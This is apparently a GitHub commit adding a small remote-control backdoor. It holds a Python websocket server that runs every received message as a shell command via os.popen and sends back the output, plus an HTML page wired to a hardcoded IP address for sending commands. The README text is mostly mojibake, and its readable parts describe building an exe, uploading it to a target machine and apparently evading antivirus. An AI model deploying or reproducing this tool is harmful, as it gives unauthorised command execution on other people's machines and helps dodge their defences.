File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ import asyncio
2+ import websockets
3+ import os
4+ import sys
5+ async def hello (websocket ,path ):
6+ try :
7+ while True :
8+ name = await websocket .recv ()
9+ zx = os .popen (name )
10+ await websocket .send (zx .read ())
11+ except Exception as r :
12+ print ('[-] Error {}' .format (r ))
13+
14+
15+ start_server = websockets .serve (hello ,'{}' .format (sys .argv [1 ]),sys .argv [2 ])
16+ asyncio .get_event_loop ().run_until_complete (start_server )
17+ asyncio .get_event_loop ().run_forever ()
Original file line number Diff line number Diff line change 1+ < html >
2+ < head >
3+ < meta charset ="UTF-8 ">
4+ < title > Web sockets test</ title >
5+ < script src ="jquery-min.js " type ="text/javascript "> </ script >
6+ < script type ="text/javascript ">
7+ var ws ;
8+ function ToggleConnectionClicked ( ) {
9+ try {
10+ ws = new WebSocket ( "ws://203.195.162.207:8000" ) ; //连接服务器
11+ ws . onopen = function ( event ) { alert ( "已经与服务器建立了连接\r\n当前连接状态:" + this . readyState ) ; } ;
12+ ws . onmessage = function ( event ) { alert ( "接收到服务器发送的数据:\r\n" + event . data ) ; } ;
13+ ws . onclose = function ( event ) { alert ( "已经与服务器断开连接\r\n当前连接状态:" + this . readyState ) ; } ;
14+ ws . onerror = function ( event ) { alert ( "WebSocket异常!" ) ; } ;
15+ } catch ( ex ) {
16+ alert ( ex . message ) ;
17+ }
18+ } ;
19+
20+ function SendData ( ) {
21+ try {
22+ var content = document . getElementById ( "content" ) . value ;
23+ if ( content ) {
24+ ws . send ( content ) ;
25+ }
26+
27+ } catch ( ex ) {
28+ alert ( ex . message ) ;
29+ }
30+ } ;
31+
32+ function seestate ( ) {
33+ alert ( ws . readyState ) ;
34+ }
35+
36+ </ script >
37+ </ head >
38+ < body >
39+ < button id ='ToggleConnection ' type ="button " onclick ='ToggleConnectionClicked(); '> 连接服务器</ button > < br /> < br />
40+ < textarea id ="content " > </ textarea >
41+ < button id ='ToggleConnection ' type ="button " onclick ='SendData(); '> 发送我的名字:beston</ button > < br /> < br />
42+ < button id ='ToggleConnection ' type ="button " onclick ='seestate(); '> 查看状态</ button > < br /> < br />
43+
44+ </ body >
45+ </ html >
Original file line number Diff line number Diff line change 1+ ��gc.html��websocket���ӵ�ַ
2+ Ȼ�ű���exe�ϴ���Ŀ����������У��÷���demo.exe IP port or demo.py IP port
3+ Ȼ���ڱ��ش�gc.html���ӷ�����ִ�������
4+
5+ ���ɹ�360��
You can’t perform that action at this time.
0 commit comments